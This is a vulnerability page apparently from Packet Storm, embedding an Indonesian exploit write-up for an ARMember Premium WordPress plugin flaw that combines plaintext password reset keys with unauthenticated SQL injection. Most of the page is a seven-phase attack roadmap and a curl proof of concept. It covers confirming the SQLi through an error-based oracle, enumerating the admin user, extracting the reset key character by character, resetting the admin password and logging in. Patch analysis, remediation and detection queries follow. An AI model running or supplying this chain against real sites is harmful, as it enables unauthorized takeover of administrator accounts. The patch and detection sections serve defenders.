PACKETSTORM 9.8 CRITICAL

📄 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

WordPress ARMember Premium plugin versions 7.3.1 and below suffer from an insecure password reset mechanism that allows for administrative account takeover...
Visit Original Source

Basic Information

ID PACKETSTORM:222633
Published Jun 4, 2026 at 00:00

Affected Product

Affected Versions <div align="center">

# ☠️ CVE-2026-5076

### ARMember Premium <= 7.3.1

### Insecure Password Reset Mechanism → Full Admin Account Takeover

![](https://img.shields.io/badge/CVE-2026--5076-CRITICAL-red?style=for-the-badge)
![](https://img.shields.io/badge/CVSS-9.8-ff0000?style=for-the-badge)
![](https://img.shields.io/badge/Type-Unauthenticated-blue?style=for-the-badge)
![](https://img.shields.io/badge/Chain-7_Phases-9cf?style=for-the-badge)
![](https://img.shields.io/badge/ARMember-7.3.1-orange?style=for-the-badge)

**Plaintext Password Reset Keys Stored in Database + SQL Injection = Complete Admin Takeover**

</div>

---

## 📋 Informasi Kerentanan

| Item | Detail |
|---|---|
| **CVE ID** | CVE-2026-5076 |
| **Plugin** | ARMember – Membership Plugin & Content Restriction |
| **Versi Terpengaruh** | Premium <= 7.3.1 |
| **Versi Patched** | 7.3.2 |
| **CVSS Score** | 9.8 Critical |
| **CWE** | CWE-640: Weak Password Recovery |
| **Tipe** | Insecure Password Reset Mechanism → Plaintext Key Storage |
| **Vektor Serangan** | Network / Remote / Unauthenticated (via SQLi chain) |
| **Instalasi Aktif** | 30,000+ (Premium) |
| **Penemu** | Wordfence Threat Intelligence |
| **Tanggal Publikasi** | 3 Juni 2026 |

### CVE Terkait (Same Advisory)

| CVE | Tipe | Severity |
|---|---|---|
| **CVE-2026-5076** | Insecure Password Reset — Plaintext Key Storage | 9.8 Critical |
| **CVE-2026-5073** | Unauthenticated SQL Injection (ORDER BY) | 9.8 Critical |
| **CVE-2026-5074** | Unauthenticated SQL Injection (WHERE) | 9.8 Critical |

---

## 🎯 Ringkasan

Tiga kerentanan kritis pada plugin WordPress **ARMember Premium <= 7.3.1** yang jika dirantai bersama memungkinkan **pengambilalihan akun administrator secara penuh tanpa autentikasi**:

1. **CVE-2026-5076** — Password reset key disimpan dalam **plaintext** di `wp_usermeta` (`arm_reset_password_key`), bukan di-hash seperti standar WordPress
2. **CVE-2026-5073** — SQL Injection pada parameter `order` di AJAX handler `arm_directory_paging_action()`
3. **CVE-2026-5074** — SQL Injection pada parameter `filter` di AJAX handler `arm_directory_paging_action()`

**Konsekuensi langsung CVE-2026-5076**: Siapapun dengan akses baca ke database (via SQLi, backup exposure, dll) dapat membaca password reset key dalam bentuk plaintext dan langsung menggunakannya untuk mereset password akun manapun — tanpa perlu cracking.

---

## 🔬 Analisis Teknis

### Root Cause #1: Plaintext Key Storage (CVE-2026-5076)

WordPress standar menyimpan password reset key di kolom `user_activation_key` dalam bentuk **hashed** menggunakan `wp_hash()`. ARMember menyimpan salinan key yang sama di `wp_usermeta` dengan meta_key `arm_reset_password_key` — namun dalam bentuk **PLAINTEXT**:

```php
// FILE: armember-membership/core/class.arm_member_forms.php
// Fungsi: arm_lost_password_action()

// WordPress menyimpan HASHED key (aman)
$key = wp_generate_password(20, false);
$wp_key = $wpdb->get_var(
$wpdb->prepare("SELECT user_activation_key FROM $wpdb->users
WHERE user_login=%s", $user_login)
);

// ARMember menyimpan PLAINTEXT key (VULNERABLE!)
update_user_meta($user_id, 'arm_reset_password_key', $wp_key);
// ^^^^^^
// Ini adalah key ASLI yang bisa langsung dipakai
```

**Masalah kritis**: `$wp_key` di sini adalah key yang dihasilkan oleh `wp_generate_password(20, false)` — 20 karakter alfanumerik. WordPress meng-hash key ini sebelum menyimpan di `user_activation_key`, tapi ARMember menyimpannya **sebelum hashing** atau menyimpan salinan terpisah yang **tidak di-hash**.

### Root Cause #2: Key Persistence Bug

Ketika `get_password_reset_key()` dipanggil (WordPress core), key baru di-generate dan di-hash. Namun fungsi ini **TIDAK mengupdate** `arm_reset_password_key`:

```php
// WordPress core: get_password_reset_key($user)
// - Generate key baru
// - Hash key → simpan di user_activation_key
// - Return key plaintext
// - TAPI: arm_reset_password_key TIDAK diupdate!
```

Akibatnya, **key plaintext lama tetap tersimpan selamanya** di `arm_reset_password_key` bahkan setelah user melakukan password reset. Key ini bisa digunakan berulang kali sampai meta key secara eksplisit dihapus.

### Root Cause #3: SQL Injection (CVE-2026-5073/5074)

AJAX handler `arm_directory_paging_action()` memiliki nonce check via `arm_check_user_cap()`, tapi parameter `order` dan `filter` langsung masuk ke SQL query tanpa sanitasi:

```php
// FILE: armember-membership/core/class.arm_member_forms.php
// Fungsi: arm_directory_paging_action()

// Nonce check (dibutuhkan nonce valid)
$nonce_check = $this->arm_check_user_cap();

// ORDER BY injection — langsung ke SQL tanpa sanitasi!
$orderby = "u.{$arm_member} {$order_dir}";
// $order_dir dari $_POST['order'] → LANGSUNG ke ORDER BY

// WHERE injection via filter
if (!empty($filter)) {
$where .= " AND " . $filter; // ← LANGSUNG concatenation!
}
```

**Eksploitasi ORDER BY**: Parameter `order` dimasukkan ke klausa `ORDER BY` SQL. Karena tidak ada sanitasi, attacker bisa inject subquery:

```sql
-- Payload SQLi via parameter order
ORDER BY u.ID ASC, IF(COND, 1, EXP(710))

-- COND = TRUE → IF returns 1 → ORDER BY 1 → response normal (besar)
-- COND = FALSE → IF returns EXP(710) → MySQL overflow ERROR → response 90B
```

**Oracle ini immune terhadap network latency** karena membedakan TRUE/FALSE berdasarkan error vs success, bukan waktu respons.

---

## ⛓️ Attack Chain Roadmap

```
╔══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-5076 FULL CHAIN ATTACK ROADMAP ║
║ ARMember Premium <= 7.3.1 → Unauthenticated Admin Takeover ║
╚══════════════════════════════════════════════════════════════════════════════════╝

┌─────────────────────────────────────────────────────────────────────────────────┐
│ PHASE 1: RECONNAISSANCE │
│ "Identifikasi target, versi, dan attack surface" │
├─────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1a. Deteksi ARMember │
│ ├─ GET / → cari string: "arm_", "armember", "ARMember" │
│ ├─ GET /wp-json/ → cari armember di response │
│ ├─ Cookie: arm_* indicates ARMember active │
│ └─ Version fingerprint: arm_css_version, arm_js_version │
│ │
│ 1b. Temukan Directory Page (MUST have arm_directory_form_container) │
│ ├─ Method 1: WP Search → GET /?s=members → parse links │
│ │ └─ Filter: skip /feed/, /rss2/, .xml, /atom/ │
│ ├─ Method 2: Direct Path Probe → /directory/, /members/, /community/ │
│ ├─ Method 3: Sitemap → /sitemap.xml → parse URLs │
│ └─ Method 4: REST API → /wp-json/wp/v2/pages → search ARM shortcode │
│ │
│ 1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama) │
│ ├─ <form class="arm_directory_form_container"> │
│ │ ├─ <input name="arm_wp_nonce" value="NONCE_HERE"> │
│ │ └─ <input name="template_id" value="TID_HERE"> │
│ └─ Nonce = wp_create_nonce('arm_wp_nonce') — tied to session │
│ └─ Bukan per-template_id, tapi per-user session │
│ │
│ OUTPUT: nonce, template_id, version, directory_url │
└──────────────┬──────────────────────────────────────────────────────────────────┘


┌─────────────────────────────────────────────────────────────────────────────────┐
│ PHASE 2: SQL INJECTION │
│ "Konfirmasi SQLi via error-based boolean oracle" │
├─────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 2a. Kirim AJAX request dengan nonce + template_id │
│ POST /wp-admin/admin-ajax.php │
│ action=arm_directory_paging_action │
│ arm_wp_nonce=<NONCE> │
│ template_id=<TID> │
│ type=directory │
│ order=ASC │
│ │
│ 2b. Error-Based Boolean Oracle (IMMUNE LATENCY!) │
│ ├─ TRUE: order=ASC,IF(1=1,1,EXP(710)) → response ~10KB (normal) │
│ ├─ FALSE: order=ASC,IF(1=2,1,EXP(710)) → response ~90B (EXP overflow) │
│ └─ Delta: ~100x — tidak terpengaruh network jitter │
│ │
│ 2c. Kenapa EXP(710)? │
│ ├─ EXP(710) → MySQL double overflow → ERROR │
│ ├─ Error = response body ~90B (cepat, konsisten) │
│ └─ Lebih reliable daripada SLEEP-based oracle di site lambat │
│ │
│ 2d. Oracle Alternatif (untuk site tanpa error output) │
│ ├─ Time-based: IF(COND, SLEEP(3), u.ID) │
│ │ ├─ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID) │
│ │ └─ Rentan terhadap network latency, baseline shifting │
│ └─ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline │
│ ├─ TRUE = slow + big response │
│ ├─ FALSE = fast + big response (ORDER BY valid ID) │
│ └─ ERROR = fast + small response (ORDER BY 0) │
│ │
│ OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type │
└──────────────┬──────────────────────────────────────────────────────────────────┘


┌─────────────────────────────────────────────────────────────────────────────────┐
│ PHASE 3: DATABASE ENUMERATION │
│ "Ekstrak table prefix, admin user, dan metadata" │
├─────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 3a. Deteksi Table Prefix (CRITICAL — prefix non-standard umum!) │
│ ├─ Method 1: INFORMATION_SCHEMA (paling reliable) │
│ │ ├─ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES │
│ │ │ WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users' │
│ │ │ LIMIT 1) IS NOT NULL │
│ │ └─ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5) │
│ ├─ Method 2: Brute-force prefix │
│ │ └─ wp_, wordpress_, wp_2_, site_, db_, blog_, web_ │
│ └─ Method 3: Per-row oracle via alias u/um │
│ └─ Main query sudah JOIN wp_users u, wp_usermeta um │
│ └─ Tapi TABLE NAME di subquery = prefix + "users" │
│ │
│ 3b. Ekstrak Admin User (4-Method Fallback) │
│ ├─ Method 1: wp_capabilities LIKE '%administrator%' │
│ │ └─ SELECT user_login FROM PREFIX_users WHERE ID= │
│ │ (SELECT user_id FROM PREFIX_usermeta │
│ │ WHERE meta_key='PREFIX_capabilities' │
│ │ AND meta_value LIKE '%administrator%' LIMIT 1) │
│ ├─ Method 2: wp_user_level = '10' │
│ │ └─ Meta key PREFIX_user_level dengan value '10' │
│ ├─ Method 3: Per-row um alias for capabilities │
│ │ └─ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%' │
│ └─ Method 4: First user fallback (ORDER BY ID LIMIT 1) │
│ └─ Pada site kecil, user pertama = admin │
│ │
│ 3c. Ekstrak Admin Email │
│ └─ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN' │
│ │
│ 3d. Cek arm_reset_password_key Feature │
│ ├─ (SELECT COUNT(*) FROM PREFIX_usermeta │
│ │ WHERE meta_key='arm_reset_password_key') > 0 │
│ ├─ Jika FALSE → fitur tidak ada (v4.x) atau belum ada reset │
│ └─ Jika TRUE tapi 0 values → fitur ada, perlu trigger (Phase 4) │
│ │
│ OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists │
└──────────────┬──────────────────────────────────────────────────────────────────┘


┌─────────────────────────────────────────────────────────────────────────────────┐
│ PHASE 4: PASSWORD RESET TRIGGER │
│ "Paksa target menyimpan plaintext key di database" │
├─────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT) │
│ ├─ POST /wp-admin/admin-ajax.php │
│ │ action=arm_lost_password │
│ │ arm_wp_nonce=<NONCE> │
│ │ user_login=<ADMIN_LOGIN> │
│ ├─ Hasil: arm_reset_password_key = plaintext 20-char key │
│ └─ Masalah: banyak site return "0" (action tidak terdaftar) │
│ │
│ 4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED) │
│ ├─ POST /wp-login.php?action=lostpassword │
│ │ user_login=<ADMIN_LOGIN> │
│ │ wp-submit=Get New Password │
│ ├─ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung) │
│ └─ Email terkirim ke admin (jika mail server aktif) │
│ │
│ 4c. WP Lostpassword via Email │
│ └─ Jika user_login gagal, coba dengan admin_email │
│ │
│ 4d. Verifikasi Key Tersimpan (via SQLi) │
│ ├─ Cek arm_reset_password_key (PLAINTEXT — CVE-2026-5076) │
│ │ └─ (SELECT meta_value FROM PREFIX_usermeta │
│ │ WHERE meta_key='arm_reset_password_key' │
│ │ AND user_id=ADMIN_ID LIMIT 1) │
│ └─ Cek user_activation_key (HASHED — fallback) │
│ └─ LENGTH((SELECT user_activation_key FROM PREFIX_users │
│ WHERE user_login='ADMIN')) > 0 │
│ │
│ ⚠️ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key! │
│ Hanya form forgot-password ARMember yang menyimpan plaintext key. │
│ Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali. │
│ │
│ OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed) │
└──────────────┬──────────────────────────────────────────────────────────────────┘


┌─────────────────────────────────────────────────────────────────────────────────┐
│ PHASE 5: KEY EXTRACTION │
│ "Baca plaintext password reset key dari database via SQLi" │
├─────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 5a. Ekstrak arm_reset_password_key (CVE-2026-5076 — PLAINTEXT!) │
│ ├─ Binary search per-karakter via SQLi: │
│ │ ┌──────────────────────────────────────────────────────┐ │
│ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'M' ? │ │
│ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'T' ? │ │
│ │ │ ...binary search converges... │ │
│ │ │ Char 1 = 'X' ✓ │ │
│ │ │ Char 2: SUBSTRING(meta_value,2,1) > 'a' ? │ │
│ │ │ ...repeat for 20 characters... │ │
│ │ └──────────────────────────────────────────────────────┘ │
│ ├─ Key length: 20 karakter alfanumerik (wp_generate_password(20, false)) │
│ └─ Extraction time: ~7 queries × 20 chars = ~140 requests │
│ │
│ 5b. Fallback: Ekstrak user_activation_key (HASHED — tidak langsung pakai) │
│ └─ Format: hash keluaran wp_hash() — perlu cracking atau bypass │
│ │
│ 5c. Key Persistence (BUG KRITIS!) │
│ ├─ get_password_reset_key() TIDAK update arm_reset_password_key │
│ ├─ Key plaintext TETAP ADA meskipun user sudah reset password │
│ └─ Key bisa dipakai BERULANG KALI sampai meta key dihapus │
│ │
│ OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback) │
└──────────────┬──────────────────────────────────────────────────────────────────┘


┌─────────────────────────────────────────────────────────────────────────────────┐
│ PHASE 6: PASSWORD RESET │
│ "Gunakan plaintext key untuk reset password admin" │
├─────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 6a. ARMember Reset Endpoint (armrp) │
│ ├─ GET /?armrp=true&key=<PLAINTEXT_KEY>&login=<ADMIN_LOGIN> │
│ ├─ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT │
│ │ └─ String comparison — BUKAN hash comparison! │
│ ├─ Jika match → tampilkan form reset password │
│ └─ Endpoint ini adalah GET request (bukan AJAX) — bisa diakses langsung │
│ │
│ 6b. WordPress Standard Reset (wp-login.php) │
│ ├─ GET /wp-login.php?action=rp&key=<KEY>&login=<ADMIN_LOGIN> │
│ ├─ WordPress memverifikasi key HASHED — plaintext key TIDAK berfungsi │
│ └─ Hanya berguna jika key dari user_activation_key (hashed) │
│ │
│ 6c. Submit Password Baru │
│ ├─ POST ke form reset dengan password baru │
│ └─ Password baru ter-set → akun berhasil di-takeover │
│ │
│ OUTPUT: new_password, reset_confirmed │
└──────────────┬──────────────────────────────────────────────────────────────────┘


┌─────────────────────────────────────────────────────────────────────────────────┐
│ PHASE 7: VALIDATION │
│ "Verifikasi akses admin penuh" │
├─────────────────────────────────────────────────────────────────────────────────┤
│ │
│ 7a. Login WordPress Standard │
│ ├─ POST /wp-login.php │
│ │ log=<ADMIN_LOGIN> │
│ │ pwd=<NEW_PASSWORD> │
│ └─ Redirect ke /wp-admin/ → dashboard accessible │
│ │
│ 7b. Login ARMember AJAX │
│ ├─ POST /wp-admin/admin-ajax.php │
│ │ action=arm_ajax_login │
│ │ arm_wp_nonce=<NONCE> │
│ │ username=<ADMIN_LOGIN> │
│ │ password=<NEW_PASSWORD> │
│ └─ Response berisi user data + redirect URL │
│ │
│ 7c. Verifikasi Dashboard Access │
│ └─ GET /wp-admin/ → 200 OK + admin menu visible │
│ │
│ ╔═══════════════════════════════════════════════════════════╗ │
│ ║ ✓ FULL CHAIN EXPLOITED ║ │
│ ║ Target: target.com ║ │
│ ║ User: admin ║ │
│ ║ Password: <new_password> ║ │
│ ║ Access: Full Administrator ║ │
│ ╚═══════════════════════════════════════════════════════════╝ │
│ │
│ OUTPUT: login_confirmed, dashboard_accessible │
└─────────────────────────────────────────────────────────────────────────────────┘
```

---

## 💻 Proof of Concept

### Prasyarat

- Target menjalankan **ARMember Premium <= 7.3.1**
- Target memiliki **directory page** yang terekspos secara publik (untuk nonce + template_id)
- Versi **>= 5.x** untuk fitur `arm_reset_password_key` (v4.x tidak memiliki fitur ini)

### PoC Minimal — Step by Step

```bash
# ═══════════════════════════════════════════════════════
# PHASE 1: RECONNAISSANCE
# ═══════════════════════════════════════════════════════

# Step 1a: Deteksi ARMember version
curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+'

# Step 1b: Temukan directory page
curl -s "https://target.com/?s=members" | \
grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \
head -5

# Step 1c: Ekstrak nonce + template_id dari directory page
curl -s https://target.com/directory/ | \
grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1
curl -s https://target.com/directory/ | \
grep -oP 'template_id.*?value="[^"]*"' | head -1


# ═══════════════════════════════════════════════════════
# PHASE 2: SQL INJECTION CONFIRMATION
# ═══════════════════════════════════════════════════════

# Step 2a: Konfirmasi SQLi dengan error-based oracle
# TRUE condition → response besar (~10KB)
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php

# FALSE condition → response kecil (~90B, MySQL error)
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php

# Jika TRUE ≠ FALSE → SQLi CONFIRMED


# ═══════════════════════════════════════════════════════
# PHASE 3: DATABASE ENUMERATION
# ═══════════════════════════════════════════════════════

# Step 3a: Deteksi table prefix via INFORMATION_SCHEMA
# Test: apakah prefix wp_ ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Jika response besar → prefix = wp_
# Jika response kecil → coba prefix lain

# Step 3b: Ekstrak admin user_login (binary search)
# Contoh: karakter pertama > 'a' ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Repeat binary search per karakter...

# Step 3c: Cek apakah arm_reset_password_key ada
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php


# ═══════════════════════════════════════════════════════
# PHASE 4: TRIGGER PASSWORD RESET
# ═══════════════════════════════════════════════════════

# Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)
curl -s -X POST \
-d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \
https://target.com/wp-admin/admin-ajax.php

# Step 4b: Fallback — WordPress standard lostpassword
curl -s -X POST \
-d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \
https://target.com/wp-login.php?action=lostpassword


# ═══════════════════════════════════════════════════════
# PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)
# ═══════════════════════════════════════════════════════

# Step 5a: Baca arm_reset_password_key dari database via SQLi
# Binary search karakter per karakter
# Karakter 1 > 'M' ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php

# ... repeat untuk 20 karakter ...
# Hasil: PLAINTEXT KEY berhasil diekstrak


# ═══════════════════════════════════════════════════════
# PHASE 6: RESET PASSWORD
# ═══════════════════════════════════════════════════════

# Step 6a: Akses ARMember reset endpoint dengan plaintext key
curl -v "https://target.com/?armrp=true&key=<EXTRACTED_KEY>&login=admin"

# Jika key match → form reset password ditampilkan!
# Step 6b: Submit password baru
curl -s -X POST \
-d "pass1=NewPassword123!&pass2=NewPassword123!&key=<EXTRACTED_KEY>&login=admin" \
"https://target.com/?armrp=true"


# ═══════════════════════════════════════════════════════
# PHASE 7: VALIDATE LOGIN
# ═══════════════════════════════════════════════════════

# Step 7a: Login dengan password baru
curl -v -X POST \
-d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
https://target.com/wp-login.php

# Step 7b: Verifikasi dashboard access
curl -s -L -c cookies.txt \
-d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
https://target.com/wp-login.php && \
curl -s -b cookies.txt https://target.com/wp-admin/ | \
grep "Dashboard"
```

---

## 🔧 Analisis Patch (v7.3.2)

Perbaikan di versi 7.3.2 mengatasi ketiga CVE:

### Patch CVE-2026-5076 (Plaintext Key)

```php
// VULNERABLE (<=7.3.1)
update_user_meta($user_id, 'arm_reset_password_key', $wp_key);
// plaintext key ^^^^^^^

// PATCHED (7.3.2)
$hashed_key = wp_hash($wp_key);
update_user_meta($user_id, 'arm_reset_password_key', $hashed_key);
// hashed key ^^^^^^^^^^^
```

- Key sekarang disimpan dalam bentuk **hashed** menggunakan `wp_hash()`
- Verifikasi key menggunakan `wp_check_password()` atau hash comparison
- Key lama yang sudah plaintext harus dihapus manual

### Patch CVE-2026-5073 (ORDER BY SQLi)

```php
// VULNERABLE (<=7.3.1)
$orderby = "u.{$arm_member} {$order_dir}";
// ^^^^^^^^^^ langsung dari user input

// PATCHED (7.3.2)
$allowed_orders = array('ASC', 'DESC', 'asc', 'desc');
if (!in_array($order_dir, $allowed_orders, true)) {
$order_dir = 'ASC';
}
$orderby = "u.{$arm_member} {$order_dir}";
```

### Patch CVE-2026-5074 (WHERE SQLi)

```php
// VULNERABLE (<=7.3.1)
$where .= " AND " . $filter;
// ^^^^^^^ langsung concatenation

// PATCHED (7.3.2)
// Filter parameter removed from user input entirely
// Filtering now handled server-side with prepared statements
```

---

## 🛡️ Remediasi

### Langkah Segera

1. **Update ARMember Premium** ke versi **7.3.2** atau lebih baru
2. **Hapus semua `arm_reset_password_key`** yang ada di database:
```sql
DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key';
```
3. **Reset semua password admin** — plaintext key lama mungkin sudah dikompromikan
4. **Audit akun user** — cek akun administrator yang tidak dikenal
5. **Batasi akses directory page** — pastikan hanya user terautentikasi yang bisa mengakses

### Deteksi Indikator Kompromi

```sql
-- Cek apakah ada arm_reset_password_key (indikasi exploit)
SELECT user_id, meta_value FROM wp_usermeta
WHERE meta_key = 'arm_reset_password_key'
AND meta_value != '';

-- Cek login mencurigakan
SELECT * FROM wp_users
WHERE user_activation_key != ''
AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY);
```

### Mitigasi Tanpa Update

- **Hapus meta key** `arm_reset_password_key` secara berkala via cron
- **Nonaktifkan** ARMember forgot-password form (gunakan WP standard saja)
- **Batasi** akses ke directory page (require login)
- **Implementasikan WAF** yang memblokir SQLi pattern pada `arm_directory_paging_action`

---

## 🧩 Attack Scenarios

### Scenario A: Classic Full Chain (All CVEs Combined)

```
Attacker discovers directory page → extracts nonce+tid →
SQLi to read arm_reset_password_key (plaintext) →
uses armrp endpoint to reset admin password →
logs in as admin
```
**Requires**: ARMember v5.x+ with forgot-password triggered by real user

### Scenario B: SQLi + WP Lostpassword Hybrid

```
Attacker discovers directory page → extracts nonce+tid →
SQLi to extract admin_login + admin_email →
triggers WP lostpassword → email sent →
SQLi to read user_activation_key (hashed) →
CRACK the hash offline → reset password via wp-login.php
```
**Requires**: Site with working mail server, hash cracking capability

### Scenario C: Database Backup Exposure

```
Attacker finds exposed database backup (.sql, .zip, .tar.gz) →
grep for arm_reset_password_key →
obtain plaintext keys →
use armrp endpoint to reset passwords
```
**Requires**: Exposed backup, no SQLi needed

### Scenario D: Compromised Admin + Lateral Movement

```
Attacker gains admin via CVE-2022-1903 or other vector →
reads arm_reset_password_key for ALL users →
resets passwords for other admin accounts →
persists access even if original vulnerability is patched
```
**Requires**: Initial admin access via any vector

---

## ⚠️ Disclaimer

Tool dan dokumentasi ini hanya untuk **pengujian keamanan yang sah** dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan.

---

## 📚 Referensi

- [Wordfence Advisory — CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism)
- [Wordfence Advisory — CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection)
- [Wordfence Advisory — CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2)
- [ARMember Plugin Repository](https://wordpress.org/plugins/armember-membership/)
- [WordPress Password Reset Mechanism](https://developer.wordpress.org/reference/functions/get_password_reset_key/)
- [CWE-640: Weak Password Recovery Mechanism](https://cwe.mitre.org/data/definitions/640.html)

---

<div align="center">

![](https://img.shields.io/badge/Made%20with-%E2%9D%A4-red?style=flat-square)
![](https://img.shields.io/badge/For-Educational%20Purpose-blue?style=flat-square)

Copyright © 2026 **XENON1337**

Special Thanks: **ENDANG**

</div>

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.